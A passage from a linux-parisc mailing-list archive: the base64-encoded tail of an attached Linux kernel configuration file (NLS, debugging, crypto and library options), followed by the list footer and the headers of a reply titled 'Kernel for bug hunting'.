IG5vdCBzZXQKIyBDT05GSUdfQ0lGUyBpcyBub3Qgc2V0CiMgQ09ORklHX05DUF9GUyBpcyBu
b3Qgc2V0CiMgQ09ORklHX0NPREFfRlMgaXMgbm90IHNldAojIENPTkZJR19BRlNfRlMgaXMg
bm90IHNldApDT05GSUdfTkxTPXkKQ09ORklHX05MU19ERUZBVUxUPSJ1dGY4IgpDT05GSUdf
TkxTX0NPREVQQUdFXzQzNz1tCiMgQ09ORklHX05MU19DT0RFUEFHRV83MzcgaXMgbm90IHNl
dAojIENPTkZJR19OTFNfQ09ERVBBR0VfNzc1IGlzIG5vdCBzZXQKQ09ORklHX05MU19DT0RF
UEFHRV84NTA9bQpDT05GSUdfTkxTX0NPREVQQUdFXzg1Mj1tCiMgQ09ORklHX05MU19DT0RF
UEFHRV84NTUgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODU3IGlzIG5vdCBz
ZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2MCBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19D
T0RFUEFHRV84NjEgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODYyIGlzIG5v
dCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2MyBpcyBub3Qgc2V0CiMgQ09ORklHX05M
U19DT0RFUEFHRV84NjQgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODY1IGlz
IG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2NiBpcyBub3Qgc2V0CiMgQ09ORklH
X05MU19DT0RFUEFHRV84NjkgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfOTM2
IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzk1MCBpcyBub3Qgc2V0CiMgQ09O
RklHX05MU19DT0RFUEFHRV85MzIgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0Vf
OTQ5IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg3NCBpcyBub3Qgc2V0CiMg
Q09ORklHX05MU19JU084ODU5XzggaXMgbm90IHNldApDT05GSUdfTkxTX0NPREVQQUdFXzEy
NTA9bQpDT05GSUdfTkxTX0NPREVQQUdFXzEyNTE9bQpDT05GSUdfTkxTX0FTQ0lJPW0KQ09O
RklHX05MU19JU084ODU5XzE9bQpDT05GSUdfTkxTX0lTTzg4NTlfMj1tCiMgQ09ORklHX05M
U19JU084ODU5XzMgaXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV80IGlzIG5vdCBz
ZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfNSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084
ODU5XzYgaXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV83IGlzIG5vdCBzZXQKIyBD
T05GSUdfTkxTX0lTTzg4NTlfOSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5XzEz
IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfMTQgaXMgbm90IHNldAojIENPTkZJ
R19OTFNfSVNPODg1OV8xNSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19LT0k4X1IgaXMgbm90
IHNldAojIENPTkZJR19OTFNfS09JOF9VIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX01BQ19S
T01BTiBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19NQUNfQ0VMVElDIGlzIG5vdCBzZXQKIyBD
T05GSUdfTkxTX01BQ19DRU5URVVSTyBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19NQUNfQ1JP
QVRJQU4gaXMgbm90IHNldAojIENPTkZJR19OTFNfTUFDX0NZUklMTElDIGlzIG5vdCBzZXQK
IyBDT05GSUdfTkxTX01BQ19HQUVMSUMgaXMgbm90IHNldAojIENPTkZJR19OTFNfTUFDX0dS
RUVLIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX01BQ19JQ0VMQU5EIGlzIG5vdCBzZXQKIyBD
T05GSUdfTkxTX01BQ19JTlVJVCBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19NQUNfUk9NQU5J
QU4gaXMgbm90IHNldAojIENPTkZJR19OTFNfTUFDX1RVUktJU0ggaXMgbm90IHNldApDT05G
SUdfTkxTX1VURjg9bQojIENPTkZJR19ETE0gaXMgbm90IHNldAoKIwojIEtlcm5lbCBoYWNr
aW5nCiMKCiMKIyBwcmludGsgYW5kIGRtZXNnIG9wdGlvbnMKIwpDT05GSUdfUFJJTlRLX1RJ
TUU9eQpDT05GSUdfTUVTU0FHRV9MT0dMRVZFTF9ERUZBVUxUPTQKIyBDT05GSUdfQk9PVF9Q
UklOVEtfREVMQVkgaXMgbm90IHNldAojIENPTkZJR19EWU5BTUlDX0RFQlVHIGlzIG5vdCBz
ZXQKCiMKIyBDb21waWxlLXRpbWUgY2hlY2tzIGFuZCBjb21waWxlciBvcHRpb25zCiMKIyBD
T05GSUdfREVCVUdfSU5GTyBpcyBub3Qgc2V0CkNPTkZJR19FTkFCTEVfV0FSTl9ERVBSRUNB
VEVEPXkKQ09ORklHX0VOQUJMRV9NVVNUX0NIRUNLPXkKQ09ORklHX0ZSQU1FX1dBUk49MjA0
OApDT05GSUdfU1RSSVBfQVNNX1NZTVM9eQojIENPTkZJR19SRUFEQUJMRV9BU00gaXMgbm90
IHNldApDT05GSUdfVU5VU0VEX1NZTUJPTFM9eQojIENPTkZJR19QQUdFX09XTkVSIGlzIG5v
dCBzZXQKQ09ORklHX0RFQlVHX0ZTPXkKIyBDT05GSUdfSEVBREVSU19DSEVDSyBpcyBub3Qg
c2V0CiMgQ09ORklHX0RFQlVHX1NFQ1RJT05fTUlTTUFUQ0ggaXMgbm90IHNldApDT05GSUdf
U0VDVElPTl9NSVNNQVRDSF9XQVJOX09OTFk9eQpDT05GSUdfQVJDSF9XQU5UX0ZSQU1FX1BP
SU5URVJTPXkKQ09ORklHX0ZSQU1FX1BPSU5URVI9eQojIENPTkZJR19ERUJVR19GT1JDRV9X
RUFLX1BFUl9DUFUgaXMgbm90IHNldApDT05GSUdfTUFHSUNfU1lTUlE9eQpDT05GSUdfTUFH
SUNfU1lTUlFfREVGQVVMVF9FTkFCTEU9MHgxCkNPTkZJR19ERUJVR19LRVJORUw9eQoKIwoj
IE1lbW9yeSBEZWJ1Z2dpbmcKIwojIENPTkZJR19QQUdFX0VYVEVOU0lPTiBpcyBub3Qgc2V0
CiMgQ09ORklHX0RFQlVHX1BBR0VBTExPQyBpcyBub3Qgc2V0CiMgQ09ORklHX1BBR0VfUE9J
U09OSU5HIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfUEFHRV9SRUYgaXMgbm90IHNldAoj
IENPTkZJR19ERUJVR19PQkpFQ1RTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0xVQl9ERUJVR19P
TiBpcyBub3Qgc2V0CiMgQ09ORklHX1NMVUJfU1RBVFMgaXMgbm90IHNldAojIENPTkZJR19E
RUJVR19TVEFDS19VU0FHRSBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1ZNIGlzIG5vdCBz
ZXQKQ09ORklHX0RFQlVHX01FTU9SWV9JTklUPXkKIyBDT05GSUdfREVCVUdfUEVSX0NQVV9N
QVBTIGlzIG5vdCBzZXQKQ09ORklHX0hBVkVfREVCVUdfU1RBQ0tPVkVSRkxPVz15CkNPTkZJ
R19ERUJVR19TVEFDS09WRVJGTE9XPXkKIyBDT05GSUdfREVCVUdfU0hJUlEgaXMgbm90IHNl
dAoKIwojIERlYnVnIExvY2t1cHMgYW5kIEhhbmdzCiMKQ09ORklHX0xPQ0tVUF9ERVRFQ1RP
Uj15CkNPTkZJR19CT09UUEFSQU1fU09GVExPQ0tVUF9QQU5JQz15CkNPTkZJR19CT09UUEFS
QU1fU09GVExPQ0tVUF9QQU5JQ19WQUxVRT0xCiMgQ09ORklHX0RFVEVDVF9IVU5HX1RBU0sg
aXMgbm90IHNldAojIENPTkZJR19XUV9XQVRDSERPRyBpcyBub3Qgc2V0CiMgQ09ORklHX1BB
TklDX09OX09PUFMgaXMgbm90IHNldApDT05GSUdfUEFOSUNfT05fT09QU19WQUxVRT0wCkNP
TkZJR19QQU5JQ19USU1FT1VUPTAKIyBDT05GSUdfU0NIRURfREVCVUcgaXMgbm90IHNldApD
T05GSUdfU0NIRURfSU5GTz15CiMgQ09ORklHX1NDSEVEU1RBVFMgaXMgbm90IHNldAojIENP
TkZJR19TQ0hFRF9TVEFDS19FTkRfQ0hFQ0sgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19U
SU1FS0VFUElORyBpcyBub3Qgc2V0CkNPTkZJR19USU1FUl9TVEFUUz15CgojCiMgTG9jayBE
ZWJ1Z2dpbmcgKHNwaW5sb2NrcywgbXV0ZXhlcywgZXRjLi4uKQojCiMgQ09ORklHX0RFQlVH
X1JUX01VVEVYRVMgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19TUElOTE9DSyBpcyBub3Qg
c2V0CiMgQ09ORklHX0RFQlVHX01VVEVYRVMgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19B
VE9NSUNfU0xFRVAgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19MT0NLSU5HX0FQSV9TRUxG
VEVTVFMgaXMgbm90IHNldAojIENPTkZJR19MT0NLX1RPUlRVUkVfVEVTVCBpcyBub3Qgc2V0
CkNPTkZJR19TVEFDS1RSQUNFPXkKIyBDT05GSUdfREVCVUdfS09CSkVDVCBpcyBub3Qgc2V0
CkNPTkZJR19ERUJVR19CVUdWRVJCT1NFPXkKIyBDT05GSUdfREVCVUdfTElTVCBpcyBub3Qg
c2V0CiMgQ09ORklHX0RFQlVHX1BJX0xJU1QgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19T
RyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX05PVElGSUVSUyBpcyBub3Qgc2V0CiMgQ09O
RklHX0RFQlVHX0NSRURFTlRJQUxTIGlzIG5vdCBzZXQKCiMKIyBSQ1UgRGVidWdnaW5nCiMK
IyBDT05GSUdfUFJPVkVfUkNVIGlzIG5vdCBzZXQKIyBDT05GSUdfU1BBUlNFX1JDVV9QT0lO
VEVSIGlzIG5vdCBzZXQKIyBDT05GSUdfVE9SVFVSRV9URVNUIGlzIG5vdCBzZXQKIyBDT05G
SUdfUkNVX1RPUlRVUkVfVEVTVCBpcyBub3Qgc2V0CkNPTkZJR19SQ1VfQ1BVX1NUQUxMX1RJ
TUVPVVQ9MTIwCiMgQ09ORklHX1JDVV9UUkFDRSBpcyBub3Qgc2V0CiMgQ09ORklHX1JDVV9F
UVNfREVCVUcgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19XUV9GT1JDRV9SUl9DUFUgaXMg
bm90IHNldAojIENPTkZJR19ERUJVR19CTE9DS19FWFRfREVWVCBpcyBub3Qgc2V0CiMgQ09O
RklHX0NQVV9IT1RQTFVHX1NUQVRFX0NPTlRST0wgaXMgbm90IHNldAojIENPTkZJR19OT1RJ
RklFUl9FUlJPUl9JTkpFQ1RJT04gaXMgbm90IHNldAojIENPTkZJR19GQVVMVF9JTkpFQ1RJ
T04gaXMgbm90IHNldAojIENPTkZJR19MQVRFTkNZVE9QIGlzIG5vdCBzZXQKQ09ORklHX0FS
Q0hfSEFTX0RFQlVHX1NUUklDVF9VU0VSX0NPUFlfQ0hFQ0tTPXkKQ09ORklHX0RFQlVHX1NU
UklDVF9VU0VSX0NPUFlfQ0hFQ0tTPXkKQ09ORklHX05PUF9UUkFDRVI9eQpDT05GSUdfSEFW
RV9GVU5DVElPTl9UUkFDRVI9eQpDT05GSUdfSEFWRV9GVU5DVElPTl9HUkFQSF9UUkFDRVI9
eQpDT05GSUdfSEFWRV9TWVNDQUxMX1RSQUNFUE9JTlRTPXkKQ09ORklHX1RSQUNFX0NMT0NL
PXkKQ09ORklHX1JJTkdfQlVGRkVSPXkKQ09ORklHX0VWRU5UX1RSQUNJTkc9eQpDT05GSUdf
Q09OVEVYVF9TV0lUQ0hfVFJBQ0VSPXkKQ09ORklHX1RSQUNJTkc9eQpDT05GSUdfR0VORVJJ
Q19UUkFDRVI9eQpDT05GSUdfVFJBQ0lOR19TVVBQT1JUPXkKQ09ORklHX0ZUUkFDRT15CkNP
TkZJR19GVU5DVElPTl9UUkFDRVI9eQpDT05GSUdfRlVOQ1RJT05fR1JBUEhfVFJBQ0VSPXkK
IyBDT05GSUdfSVJRU09GRl9UUkFDRVIgaXMgbm90IHNldAojIENPTkZJR19TQ0hFRF9UUkFD
RVIgaXMgbm90IHNldApDT05GSUdfRlRSQUNFX1NZU0NBTExTPXkKIyBDT05GSUdfVFJBQ0VS
X1NOQVBTSE9UIGlzIG5vdCBzZXQKQ09ORklHX0JSQU5DSF9QUk9GSUxFX05PTkU9eQojIENP
TkZJR19QUk9GSUxFX0FOTk9UQVRFRF9CUkFOQ0hFUyBpcyBub3Qgc2V0CiMgQ09ORklHX1BS
T0ZJTEVfQUxMX0JSQU5DSEVTIGlzIG5vdCBzZXQKQ09ORklHX1NUQUNLX1RSQUNFUj15CiMg
Q09ORklHX0JMS19ERVZfSU9fVFJBQ0UgaXMgbm90IHNldAojIENPTkZJR19QUk9CRV9FVkVO
VFMgaXMgbm90IHNldApDT05GSUdfRlVOQ1RJT05fUFJPRklMRVI9eQojIENPTkZJR19GVFJB
Q0VfU1RBUlRVUF9URVNUIGlzIG5vdCBzZXQKIyBDT05GSUdfVFJBQ0VQT0lOVF9CRU5DSE1B
UksgaXMgbm90IHNldAojIENPTkZJR19SSU5HX0JVRkZFUl9CRU5DSE1BUksgaXMgbm90IHNl
dAojIENPTkZJR19SSU5HX0JVRkZFUl9TVEFSVFVQX1RFU1QgaXMgbm90IHNldAojIENPTkZJ
R19UUkFDRV9FTlVNX01BUF9GSUxFIGlzIG5vdCBzZXQKCiMKIyBSdW50aW1lIFRlc3RpbmcK
IwojIENPTkZJR19MS0RUTSBpcyBub3Qgc2V0CiMgQ09ORklHX1RFU1RfTElTVF9TT1JUIGlz
IG5vdCBzZXQKIyBDT05GSUdfQkFDS1RSQUNFX1NFTEZfVEVTVCBpcyBub3Qgc2V0CiMgQ09O
RklHX1JCVFJFRV9URVNUIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5URVJWQUxfVFJFRV9URVNU
IGlzIG5vdCBzZXQKIyBDT05GSUdfUEVSQ1BVX1RFU1QgaXMgbm90IHNldAojIENPTkZJR19B
VE9NSUM2NF9TRUxGVEVTVCBpcyBub3Qgc2V0CiMgQ09ORklHX0FTWU5DX1JBSUQ2X1RFU1Qg
aXMgbm90IHNldAojIENPTkZJR19URVNUX0hFWERVTVAgaXMgbm90IHNldAojIENPTkZJR19U
RVNUX1NUUklOR19IRUxQRVJTIGlzIG5vdCBzZXQKIyBDT05GSUdfVEVTVF9LU1RSVE9YIGlz
IG5vdCBzZXQKIyBDT05GSUdfVEVTVF9QUklOVEYgaXMgbm90IHNldAojIENPTkZJR19URVNU
X0JJVE1BUCBpcyBub3Qgc2V0CiMgQ09ORklHX1RFU1RfUkhBU0hUQUJMRSBpcyBub3Qgc2V0
CiMgQ09ORklHX1RFU1RfTEtNIGlzIG5vdCBzZXQKQ09ORklHX1RFU1RfVVNFUl9DT1BZPW0K
IyBDT05GSUdfVEVTVF9CUEYgaXMgbm90IHNldAojIENPTkZJR19URVNUX0ZJUk1XQVJFIGlz
IG5vdCBzZXQKIyBDT05GSUdfVEVTVF9VREVMQVkgaXMgbm90IHNldAojIENPTkZJR19URVNU
X1NUQVRJQ19LRVlTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FNUExFUyBpcyBub3Qgc2V0CiMg
Q09ORklHX1VCU0FOIGlzIG5vdCBzZXQKQ09ORklHX1RSQUNFX0lSUUZMQUdTX1NVUFBPUlQ9
eQpDT05GSUdfREVCVUdfUk9EQVRBPXkKQ09ORklHX1NFQ0NPTVA9eQoKIwojIFNlY3VyaXR5
IG9wdGlvbnMKIwpDT05GSUdfS0VZUz15CiMgQ09ORklHX1BFUlNJU1RFTlRfS0VZUklOR1Mg
aXMgbm90IHNldAojIENPTkZJR19CSUdfS0VZUyBpcyBub3Qgc2V0CiMgQ09ORklHX1RSVVNU
RURfS0VZUyBpcyBub3Qgc2V0CkNPTkZJR19FTkNSWVBURURfS0VZUz15CiMgQ09ORklHX1NF
Q1VSSVRZX0RNRVNHX1JFU1RSSUNUIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VDVVJJVFkgaXMg
bm90IHNldApDT05GSUdfU0VDVVJJVFlGUz15CkNPTkZJR19ERUZBVUxUX1NFQ1VSSVRZX0RB
Qz15CkNPTkZJR19ERUZBVUxUX1NFQ1VSSVRZPSIiCkNPTkZJR19YT1JfQkxPQ0tTPW0KQ09O
RklHX0FTWU5DX0NPUkU9bQpDT05GSUdfQVNZTkNfTUVNQ1BZPW0KQ09ORklHX0FTWU5DX1hP
Uj1tCkNPTkZJR19BU1lOQ19QUT1tCkNPTkZJR19BU1lOQ19SQUlENl9SRUNPVj1tCkNPTkZJ
R19DUllQVE89eQoKIwojIENyeXB0byBjb3JlIG9yIGhlbHBlcgojCkNPTkZJR19DUllQVE9f
QUxHQVBJPXkKQ09ORklHX0NSWVBUT19BTEdBUEkyPXkKQ09ORklHX0NSWVBUT19BRUFEPXkK
Q09ORklHX0NSWVBUT19BRUFEMj15CkNPTkZJR19DUllQVE9fQkxLQ0lQSEVSPXkKQ09ORklH
X0NSWVBUT19CTEtDSVBIRVIyPXkKQ09ORklHX0NSWVBUT19IQVNIPXkKQ09ORklHX0NSWVBU
T19IQVNIMj15CkNPTkZJR19DUllQVE9fUk5HPXkKQ09ORklHX0NSWVBUT19STkcyPXkKQ09O
RklHX0NSWVBUT19STkdfREVGQVVMVD15CkNPTkZJR19DUllQVE9fQUtDSVBIRVIyPXkKIyBD
T05GSUdfQ1JZUFRPX1JTQSBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fTUFOQUdFUj15CkNP
TkZJR19DUllQVE9fTUFOQUdFUjI9eQojIENPTkZJR19DUllQVE9fVVNFUiBpcyBub3Qgc2V0
CkNPTkZJR19DUllQVE9fTUFOQUdFUl9ESVNBQkxFX1RFU1RTPXkKQ09ORklHX0NSWVBUT19H
RjEyOE1VTD15CkNPTkZJR19DUllQVE9fTlVMTD15CkNPTkZJR19DUllQVE9fTlVMTDI9eQoj
IENPTkZJR19DUllQVE9fUENSWVBUIGlzIG5vdCBzZXQKQ09ORklHX0NSWVBUT19XT1JLUVVF
VUU9eQojIENPTkZJR19DUllQVE9fQ1JZUFREIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRP
X01DUllQVEQgaXMgbm90IHNldApDT05GSUdfQ1JZUFRPX0FVVEhFTkM9bQojIENPTkZJR19D
UllQVE9fVEVTVCBpcyBub3Qgc2V0CgojCiMgQXV0aGVudGljYXRlZCBFbmNyeXB0aW9uIHdp
dGggQXNzb2NpYXRlZCBEYXRhCiMKIyBDT05GSUdfQ1JZUFRPX0NDTSBpcyBub3Qgc2V0CiMg
Q09ORklHX0NSWVBUT19HQ00gaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fQ0hBQ0hBMjBQ
T0xZMTMwNSBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fU0VRSVY9eQpDT05GSUdfQ1JZUFRP
X0VDSEFJTklWPW0KCiMKIyBCbG9jayBtb2RlcwojCkNPTkZJR19DUllQVE9fQ0JDPXkKQ09O
RklHX0NSWVBUT19DVFI9eQpDT05GSUdfQ1JZUFRPX0NUUz15CkNPTkZJR19DUllQVE9fRUNC
PXkKIyBDT05GSUdfQ1JZUFRPX0xSVyBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fUENCQz1t
CkNPTkZJR19DUllQVE9fWFRTPXkKIyBDT05GSUdfQ1JZUFRPX0tFWVdSQVAgaXMgbm90IHNl
dAoKIwojIEhhc2ggbW9kZXMKIwojIENPTkZJR19DUllQVE9fQ01BQyBpcyBub3Qgc2V0CkNP
TkZJR19DUllQVE9fSE1BQz15CiMgQ09ORklHX0NSWVBUT19YQ0JDIGlzIG5vdCBzZXQKIyBD
T05GSUdfQ1JZUFRPX1ZNQUMgaXMgbm90IHNldAoKIwojIERpZ2VzdAojCkNPTkZJR19DUllQ
VE9fQ1JDMzJDPXkKIyBDT05GSUdfQ1JZUFRPX0NSQzMyIGlzIG5vdCBzZXQKQ09ORklHX0NS
WVBUT19DUkNUMTBESUY9eQojIENPTkZJR19DUllQVE9fR0hBU0ggaXMgbm90IHNldAojIENP
TkZJR19DUllQVE9fUE9MWTEzMDUgaXMgbm90IHNldApDT05GSUdfQ1JZUFRPX01END1tCkNP
TkZJR19DUllQVE9fTUQ1PXkKQ09ORklHX0NSWVBUT19NSUNIQUVMX01JQz1tCiMgQ09ORklH
X0NSWVBUT19STUQxMjggaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fUk1EMTYwIGlzIG5v
dCBzZXQKIyBDT05GSUdfQ1JZUFRPX1JNRDI1NiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBU
T19STUQzMjAgaXMgbm90IHNldApDT05GSUdfQ1JZUFRPX1NIQTE9bQpDT05GSUdfQ1JZUFRP
X1NIQTI1Nj15CiMgQ09ORklHX0NSWVBUT19TSEE1MTIgaXMgbm90IHNldAojIENPTkZJR19D
UllQVE9fVEdSMTkyIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1dQNTEyIGlzIG5vdCBz
ZXQKCiMKIyBDaXBoZXJzCiMKQ09ORklHX0NSWVBUT19BRVM9eQojIENPTkZJR19DUllQVE9f
QU5VQklTIGlzIG5vdCBzZXQKQ09ORklHX0NSWVBUT19BUkM0PW0KIyBDT05GSUdfQ1JZUFRP
X0JMT1dGSVNIIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX0NBTUVMTElBIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQ1JZUFRPX0NBU1Q1IGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX0NB
U1Q2IGlzIG5vdCBzZXQKQ09ORklHX0NSWVBUT19ERVM9bQpDT05GSUdfQ1JZUFRPX0ZDUllQ
VD1tCiMgQ09ORklHX0NSWVBUT19LSEFaQUQgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9f
U0FMU0EyMCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19DSEFDSEEyMCBpcyBub3Qgc2V0
CiMgQ09ORklHX0NSWVBUT19TRUVEIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1NFUlBF
TlQgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fVEVBIGlzIG5vdCBzZXQKIyBDT05GSUdf
Q1JZUFRPX1RXT0ZJU0ggaXMgbm90IHNldAoKIwojIENvbXByZXNzaW9uCiMKQ09ORklHX0NS
WVBUT19ERUZMQVRFPW0KIyBDT05GSUdfQ1JZUFRPX0xaTyBpcyBub3Qgc2V0CiMgQ09ORklH
X0NSWVBUT184NDIgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fTFo0IGlzIG5vdCBzZXQK
IyBDT05GSUdfQ1JZUFRPX0xaNEhDIGlzIG5vdCBzZXQKCiMKIyBSYW5kb20gTnVtYmVyIEdl
bmVyYXRpb24KIwpDT05GSUdfQ1JZUFRPX0FOU0lfQ1BSTkc9bQpDT05GSUdfQ1JZUFRPX0RS
QkdfTUVOVT15CkNPTkZJR19DUllQVE9fRFJCR19ITUFDPXkKIyBDT05GSUdfQ1JZUFRPX0RS
QkdfSEFTSCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19EUkJHX0NUUiBpcyBub3Qgc2V0
CkNPTkZJR19DUllQVE9fRFJCRz15CkNPTkZJR19DUllQVE9fSklUVEVSRU5UUk9QWT15CiMg
Q09ORklHX0NSWVBUT19VU0VSX0FQSV9IQVNIIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRP
X1VTRVJfQVBJX1NLQ0lQSEVSIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1VTRVJfQVBJ
X1JORyBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19VU0VSX0FQSV9BRUFEIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQ1JZUFRPX0hXIGlzIG5vdCBzZXQKIyBDT05GSUdfQVNZTU1FVFJJQ19L
RVlfVFlQRSBpcyBub3Qgc2V0CgojCiMgQ2VydGlmaWNhdGVzIGZvciBzaWduYXR1cmUgY2hl
Y2tpbmcKIwojIENPTkZJR19TWVNURU1fVFJVU1RFRF9LRVlSSU5HIGlzIG5vdCBzZXQKQ09O
RklHX0JJTkFSWV9QUklOVEY9eQoKIwojIExpYnJhcnkgcm91dGluZXMKIwpDT05GSUdfUkFJ
RDZfUFE9bQpDT05GSUdfQklUUkVWRVJTRT15CiMgQ09ORklHX0hBVkVfQVJDSF9CSVRSRVZF
UlNFIGlzIG5vdCBzZXQKQ09ORklHX1JBVElPTkFMPXkKQ09ORklHX0dFTkVSSUNfU1RSTkNQ
WV9GUk9NX1VTRVI9eQpDT05GSUdfR0VORVJJQ19ORVRfVVRJTFM9eQpDT05GSUdfR0VORVJJ
Q19QQ0lfSU9NQVA9eQpDT05GSUdfR0VORVJJQ19JTz15CkNPTkZJR19DUkNfQ0NJVFQ9bQpD
T05GSUdfQ1JDMTY9eQpDT05GSUdfQ1JDX1QxMERJRj15CkNPTkZJR19DUkNfSVRVX1Q9eQpD
T05GSUdfQ1JDMzI9eQojIENPTkZJR19DUkMzMl9TRUxGVEVTVCBpcyBub3Qgc2V0CkNPTkZJ
R19DUkMzMl9TTElDRUJZOD15CiMgQ09ORklHX0NSQzMyX1NMSUNFQlk0IGlzIG5vdCBzZXQK
IyBDT05GSUdfQ1JDMzJfU0FSV0FURSBpcyBub3Qgc2V0CiMgQ09ORklHX0NSQzMyX0JJVCBp
cyBub3Qgc2V0CiMgQ09ORklHX0NSQzcgaXMgbm90IHNldApDT05GSUdfTElCQ1JDMzJDPXkK
IyBDT05GSUdfQ1JDOCBpcyBub3Qgc2V0CiMgQ09ORklHX0FVRElUX0FSQ0hfQ09NUEFUX0dF
TkVSSUMgaXMgbm90IHNldAojIENPTkZJR19SQU5ET00zMl9TRUxGVEVTVCBpcyBub3Qgc2V0
CkNPTkZJR19aTElCX0lORkxBVEU9eQpDT05GSUdfWkxJQl9ERUZMQVRFPW0KQ09ORklHX0xa
T19DT01QUkVTUz15CkNPTkZJR19MWk9fREVDT01QUkVTUz15CkNPTkZJR19MWjRfREVDT01Q
UkVTUz15CkNPTkZJR19YWl9ERUM9eQpDT05GSUdfWFpfREVDX1g4Nj15CkNPTkZJR19YWl9E
RUNfUE9XRVJQQz15CkNPTkZJR19YWl9ERUNfSUE2ND15CkNPTkZJR19YWl9ERUNfQVJNPXkK
Q09ORklHX1haX0RFQ19BUk1USFVNQj15CkNPTkZJR19YWl9ERUNfU1BBUkM9eQpDT05GSUdf
WFpfREVDX0JDSj15CiMgQ09ORklHX1haX0RFQ19URVNUIGlzIG5vdCBzZXQKQ09ORklHX0RF
Q09NUFJFU1NfR1pJUD15CkNPTkZJR19ERUNPTVBSRVNTX0JaSVAyPXkKQ09ORklHX0RFQ09N
UFJFU1NfTFpNQT15CkNPTkZJR19ERUNPTVBSRVNTX1haPXkKQ09ORklHX0RFQ09NUFJFU1Nf
TFpPPXkKQ09ORklHX0RFQ09NUFJFU1NfTFo0PXkKQ09ORklHX0FTU09DSUFUSVZFX0FSUkFZ
PXkKQ09ORklHX0hBU19JT01FTT15CkNPTkZJR19IQVNfSU9QT1JUX01BUD15CkNPTkZJR19I
QVNfRE1BPXkKQ09ORklHX0NQVV9STUFQPXkKQ09ORklHX0RRTD15CkNPTkZJR19HTE9CPXkK
IyBDT05GSUdfR0xPQl9TRUxGVEVTVCBpcyBub3Qgc2V0CkNPTkZJR19OTEFUVFI9eQpDT05G
SUdfQVJDSF9IQVNfQVRPTUlDNjRfREVDX0lGX1BPU0lUSVZFPXkKIyBDT05GSUdfQ09SRElD
IGlzIG5vdCBzZXQKIyBDT05GSUdfRERSIGlzIG5vdCBzZXQKIyBDT05GSUdfSVJRX1BPTEwg
aXMgbm90IHNldApDT05GSUdfT0lEX1JFR0lTVFJZPW0KQ09ORklHX0ZPTlRfU1VQUE9SVD15
CiMgQ09ORklHX0ZPTlRTIGlzIG5vdCBzZXQKQ09ORklHX0ZPTlRfOHg4PXkKQ09ORklHX0ZP
TlRfOHgxNj15CiMgQ09ORklHX1NHX1NQTElUIGlzIG5vdCBzZXQKIyBDT05GSUdfQVJDSF9I
QVNfU0dfQ0hBSU4gaXMgbm90IHNldAo=
--------------050504040601010707060108--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel for bug hunting
Date: Fri, 15 Apr 2016 10:45:41 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <CACrbsaCZxvqqQOMymY_MHPNncv_8SnL4+9GuGYH4MUPOA7U_Ww@mail.gmail.com>
